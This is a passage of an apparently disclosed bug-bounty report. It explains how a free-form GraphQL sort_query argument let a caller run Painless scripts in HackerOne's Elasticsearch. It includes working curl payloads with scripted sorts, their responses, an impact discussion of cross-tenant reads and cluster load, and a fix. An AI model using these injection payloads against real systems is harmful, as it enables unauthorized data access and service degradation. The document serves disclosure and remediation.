'[{"created_at":{"order":"desc","mode":"max"}}]'; do
q=$(jq -n --arg sq "$sq" '{query:"query($sq:String){search(index:NotificationsIndex,query_string:\"*\",sort_query:$sq,size:1){total_count}}", variables:{sq:$sq}}')
printf '%-55s ' "$(echo "$sq" | head -c 53)"
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" --data-raw "$q" \
| jq -c '{tc:.data.search.total_count, err:(.errors[0].message // null)}'
sleep 1.2
done
Line by line:
for sq in ...; do ... donerepeats the same test three times, once for each sort text.jq -n --arg sq "$sq"builds the request body safely, putting the sort text into a GraphQL variable called$sqinstead of pasting it into the query text. This avoids quoting mistakes.- The GraphQL query declares
$sq:Stringand passes it assort_query:$sq, asking only fortotal_count, the number of matching documents. printfprints the sort text so you can tell the three runs apart.curlsends the request as before.jq -cprints a compact line with the count and any error message.sleep 1.2waits a little between requests so as not to hammer the server.
Response:
[{"user_id":{"order":"desc"}}] {"tc":716,"err":null}
[{"user_id":{"order":"desc","missing":"_last"}}] {"tc":716,"err":null}
[{"created_at":{"order":"desc","mode":"max"}}] {"tc":716,"err":null}
The total_count: 716 is the caller's personal notification count. This confirms that the result set is filtered to the caller's own notifications by a server-side user filter applied before the sort. All subsequent script testing occurred within this already-filtered result set. In other words, the researcher's probes ran only against their own notifications.
Step 3: Differential Painless compilation evidence
This step answers a narrower question: does the database actually try to compile the program text, or does it ignore it? The trick is to send both broken and working programs and compare the replies. A compile-failure and a compile-success probe isolate the behaviour of _script clauses when the source is malformed versus valid Painless. The GraphQL query shape is the same in all cases; only sort_query.script.source changes.
q='query($sq:String){search(index:NotificationsIndex,query_string:"*",sort_query:$sq,size:1){total_count}}'
for sq in \
'[{"_script":{"type":"number","order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"","lang":"painless"},"order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"\"unterminated","lang":"painless"},"order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"1","lang":"painless"},"order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"1+1","lang":"painless"},"order":"asc"}}]'; do
body=$(jq -n --arg q "$q" --arg sq "$sq" '{query:$q,variables:{sq:$sq}}')
printf '%-95s ' "$(echo "$sq" | head -c 93)"
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" \
| jq -c '{tc:.data.search.total_count, err:(.errors[0].message // null)[0:40]}'
sleep 1.5
done
Line by line:
qstores the GraphQL query once, so all five runs use exactly the same query.- The loop runs five times, each time with a different
sort_querytext. - The first text has a
_scriptsort but noscriptkey at all. This is a malformed shape, used as a control. - The second has an empty program (
"source":""). - The third has a program with an unterminated string literal (
"source":"\"unterminated"), which is invalid Painless. - The fourth has the program
1, which is valid and always returns the number one. - The fifth has
1+1, also valid. jq -nbuilds the request body with the query and the sort text as variables.curlsends it, andjq -cprints the count and the first 40 characters of any error message.sleep 1.5spaces the requests out.
Observed results:
script.source |
Result | Painless compile outcome |
|---|---|---|
(no script key at all) |
HTTP 500 / STANDARD_ERROR |
n/a, malformed _script shape |
"" (empty) |
HTTP 500 / STANDARD_ERROR |
compile failure |
"unterminated (invalid Painless) |
HTTP 500 / STANDARD_ERROR |
compile failure |
"1" |
HTTP 200, total_count: 716 |
compile success |
"1+1" |
HTTP 200, total_count: 716 |
compile success |
HTTP 500 means the server hit an internal error; HTTP 200 means it answered normally. The 200/500 split tracks precisely with whether the source is valid Painless. Middleware performing only JSON-schema validation on sort_query could not differentiate these cases, because all five payloads are structurally well-formed JSON with the same top-level keys. The only layer that distinguishes an empty string and an unterminated string literal from "1" is a Painless compiler reached with the attacker-controlled source.
In everyday terms: a form checker that only looks at the shape of a form would accept all five of these. Something deeper had to actually read the program and reject the broken ones.
Step 4: Differential per-document execution evidence
Compiling a program is not the same as running it. This step shows the program runs once for every document and that its return value decides the order.
Two requests differ only in the value of script.source. Both select edges { cursor node { id } } to capture ordering. If the script in Request B executes per document and reads doc["_seq_no"].value, the ordering will differ from the constant-return Request A.
q='query($sq:String){search(index:NotificationsIndex,query_string:"*",sort_query:$sq,size:5){edges{cursor node{__typename ... on NotificationDocument{id}}}}}'
# Request A — baseline, constant return
sq_A='[{"_script":{"type":"number","script":{"source":"1","lang":"painless"},"order":"asc"}}]'
# Request B — per-document field read
sq_B='[{"_script":{"type":"number","script":{"source":"doc[\"_seq_no\"].value","lang":"painless"},"order":"asc"}}]'
echo "=== Request A (constant return) ==="
body=$(jq -n --arg q "$q" --arg sq "$sq_A" '{query:$q,variables:{sq:$sq}}')
curl -sk -D /tmp/probeA_headers 'https://hackerone.com/graphql' \
-H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" | tee /tmp/probeA_body.json \
| jq -c '.data.search.edges | map(.node.id)'
grep -i '^x-request-id' /tmp/probeA_headers
sleep 2
echo "=== Request B (per-doc field read) ==="
body=$(jq -n --arg q "$q" --arg sq "$sq_B" '{query:$q,variables:{sq:$sq}}')
curl -sk -D /tmp/probeB_headers 'https://hackerone.com/graphql' \
-H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" | tee /tmp/probeB_body.json \
| jq -c '.data.search.edges | map(.node.id)'
grep -i '^x-request-id' /tmp/probeB_headers
Line by line:
qis the shared query. It asks foredges, which is a list of results, each with acursor(a marker for its position) and anode(the document itself). The__typenamefield asks GraphQL to say what type each node is.sq_Ais the sort text for Request A. Its program is1, so every document gets the same sort value. When all values are equal, the order is effectively arbitrary but stable for the same data.sq_Bis the sort text for Request B. Its program isdoc["_seq_no"].value, which reads a field called_seq_nofrom each document and returns it._seq_nois a sequence number Elasticsearch assigns to each document when it is stored, and it increases with insertion order.echoprints a label so the two outputs are easy to tell apart.jq -nbuilds the body, andcurlsends it.-D /tmp/probeA_headerssaves the response headers to a file.tee /tmp/probeA_body.jsonsaves the body to a file while still passing it on.jq -c '.data.search.edges | map(.node.id)'extracts just the list of document ids.grep -i '^x-request-id'pulls the server's request id out of the saved headers, so the two requests can be told apart in logs.sleep 2waits between the two requests.
Request A response (source: "1"):
x-request-id: 308106dc-dc26-479f-8bab-eba02d6591c1
First 5 document id values, decoded from base64 Relay global IDs:
| Position | Base64 id |
Decoded _id |
|---|---|---|
| 1 | [redacted]= |
451190393 |
| 2 | [redacted]= |
433571802 |
| 3 | [redacted]= |
444651582 |
| 4 | [redacted]= |
444773121 |
| 5 | [redacted]= |
445067118 |
Request B response (source: "doc[\"_seq_no\"].value"):
x-request-id: c2daf19b-11e7-4f98-b608-44c42f52374a
First 5 document id values:
| Position | Base64 id |
Decoded _id |
|---|---|---|
| 1 | [redacted]= |
404547633 |
| 2 | [redacted]= |
408446504 |
| 3 | [redacted]= |
416737094 |
| 4 | [redacted]= |
417300042 |
| 5 | [redacted]= |
417467303 |
Analysis
The two result sets share zero overlapping documents in the first five positions. Request B's ordering is strictly monotonically ascending by _id, and matches exactly the ordering obtained in Step 2 via the known-good sort_query: '[{"id":"asc"}]', with the same first five IDs in the same order.
In Elasticsearch, _seq_no is a per-document sequence number assigned at indexing time and increases monotonically with insertion order. Sorting the caller's earliest-indexed notifications ascending by _seq_no therefore produces the same order as ascending by their internal _id.
For Request B's ordering to arise, the Painless script must have:
- Been compiled, consistent with the Step 3 compile-success result for valid sources
- Been invoked once per document in the result set during the Elasticsearch sort phase
- Successfully read each document's
_seq_novalue via thedoccontext - Returned that value as the sort key for its document
If the _script sort clause were being silently dropped upstream of Elasticsearch, or if Painless were compiling the source but discarding the output, Request B would have produced the same ordering as Request A. It did not: the orderings have no overlap.
This is direct evidence of per-document Painless script execution on the HackerOne production Elasticsearch cluster, triggered by a single authenticated GraphQL request from a reporter-level account.
A simple comparison: if you ask a librarian to sort books by a number you give them, and you give the same number for every book, the order will not follow the books' own numbers. If instead the order comes out exactly matching each book's own number, the librarian must have looked at each book.
Scope of testing
The researcher deliberately restricted testing to the minimum evidence required to establish execution:
- Scripts submitted were
"1","1+1","3+4","doc[\"_seq_no\"].value", and intentionally malformed variants. No field reads other than_seq_no, no method calls beyond.value, no stdlib usage, no parameters, no loops, no I/O. _seq_nois an ES-internal metadata field present on every document. It is not user data, program data or tenant data.- All probes ran against the researcher's own authenticated session's result set in
NotificationsIndex(716 documents, all belonging to the researcher by server-side user filter). - The researcher did not test sandbox boundaries (filesystem, environment, network, reflection).
- The researcher did not read any user data belonging to any other account.
- The researcher did not test cross-tenant access or document-authorization bypass.
- The researcher did not test other indices (
DuplicateDetectorReportsIndex,OpportunitiesIndex,CompleteHacktivityReportIndex,StoredQueriesIndex) or othersort_query-exposing resolvers (Organization.findings_search). - All probing against
hackerone.com/graphqlceased immediately upon confirming per-document execution in Step 4.
Root cause
The sort_query: String argument on Query.search is passed to the downstream Elasticsearch cluster as the raw value of the sort parameter, without server-side schema validation, keyword allowlisting or rejection of scripted sort directives. Because the value is a free-form string, an attacker can supply a _script sort clause whose script.source is arbitrary Painless code. Elasticsearch compiles that source and invokes it once per document during the sort phase, with access to the doc context.
Middleware performing only JSON-schema validation on sort_query could not distinguish valid from invalid Painless, because all payloads are structurally well-formed JSON with the same top-level keys. The only layer that distinguishes an empty string and an unterminated string literal from "1" is the Painless compiler reached with the attacker-controlled source. The server-side user filter on NotificationsIndex is applied before the sort, so all script testing occurred within the caller's own filtered result set.
Impact
Painless execution inside the Elasticsearch JVM process grants code execution on the infrastructure that indexes HackerOne's platform data. A JVM is the runtime that runs Java programs, and Elasticsearch is written in Java, so a script runs inside the same process as the database itself.
The types reachable through Query.search via the DocumentUnion schema union include:
ReportDocument,FindingDocument,HacktivityDocument: report contentNotificationDocument: notification contentOpportunityDocument: program metadataStructuredScopeDocument: program scope definitionsAssetDocument: asset inventoryOrganizationMemberDocument,OrganizationMemberGroupDocument: organization membershipAnalyticsGatewayHttpStreamDocument: captured HTTP traffic metadataStoredQueryDocument: saved queries
A union is GraphQL's way of saying a result can be one of several types; the list above is what those types hold.
Confidentiality impact is the most immediate concern even if the Painless sandbox blocks filesystem and network access. A sandbox is a restricted environment that limits what a program can touch. The _script sort executes within the Elasticsearch query phase, before any GraphQL resolver-layer authorization filter. A resolver is the piece of code that fetches data for a GraphQL field and checks whether you are allowed to see it. A script reading doc['<field>'].value sees fields on documents that are about to be scored or sorted, which includes documents the caller is not authorized to read at the resolver layer, if an index is not partitioned per-tenant at the ES level. Partitioned per-tenant means each customer's data sits in its own separate collection.
The researcher did not verify whether cross-tenant document access is possible and stated that this investigation should be performed by HackerOne's internal team.
In addition, Painless sort scripts are user-controlled code executed per document in the result set. Adversarial scripts with deep loops, large allocations or expensive computations can degrade the shared Elasticsearch cluster. A loop is code that repeats; an allocation is asking for memory. Both can be made expensive on purpose, which can degrade the shared Elasticsearch cluster.
Fix
The report suggests the following remediation:
- Remove the
sort_query: Stringargument fromQuery.search. The typedsort: SortInputargument already serves the frontend's documented use cases. If richer sort expressions are required, expose a structured, schema-validated GraphQL input type rather than a free-form string. - Apply the same treatment to
Organization.findings_search.sort_query: Stringand any other resolver that exposes a free-formsort_queryargument.
In plain terms: stop accepting free-form text for sorting. Use a fixed, checked set of options instead, so the database only ever receives values the site itself built.
Variants to test
These are the places a follow-up test would look, and what a positive result would look like:
- Other
IndexEnumvalues onQuery.search(DuplicateDetectorReportsIndex,OpportunitiesIndex,CompleteHacktivityReportIndex,StoredQueriesIndex). - Any other resolver exposing a free-form
sort_queryargument. - Object-shaped sort specifications with nested
order,modeandmissingkeys on other indices.
Glossary
- API: a defined way for one program to request data or actions from another.
- Argument: an input value given to an API operation, like a form field.
- Base64: a way of writing binary or text data using letters, digits and a few symbols, often used for ids.
- Code Injection: a vulnerability where untrusted input is treated as code and executed.
- Cookie: a small piece of data a browser stores for a site, used to recognise a logged-in session.
- CSRF token: a secret value sent with requests to prove they came from the site's own pages, not another site.
- curl: a command-line tool for sending HTTP requests.
- CVSS: a standard scoring system for the severity of a vulnerability.
- Document: a single record stored in Elasticsearch.
- Elasticsearch: a search and analytics database that stores documents in indices.
- GraphQL: a query language and API style where the client describes exactly the data it wants.
- Header: extra information sent alongside an HTTP request or response.
- HTTP 200 / HTTP 500: status codes meaning success and internal server error respectively.
- jq: a command-line tool for reading and formatting JSON.
- JSON: a text format for structured data, made of keys and values.
- JVM: the runtime that executes Java programs; Elasticsearch runs on it.
- Middleware: software that sits between the client and the backend and inspects or modifies requests.
- Painless: the scripting language built into Elasticsearch.
- Payload: the part of a request that carries the data being tested.
- Query.search: the GraphQL operation used here to search an index.
- Resolver: the code that fetches data for a GraphQL field and applies permission checks.
- Sandbox: a restricted environment that limits what running code can access.
- Script: a short program executed by a system, here by Elasticsearch.
- Scripted sort: a sort where a script returns a value per document and documents are ordered by those values.
_seq_no: an internal Elasticsearch sequence number assigned to each document when it is stored, increasing with insertion order.- Sort parameter: the instruction telling a database in what order to return results.
- Tenant: a separate customer or organisation whose data is kept apart from others.
- Union: a GraphQL type meaning a result can be one of several possible types.
- Validation: checking that input has the expected shape and allowed values before using it.
- Vulnerability: a weakness in software that can be used to cause harm or gain unintended access.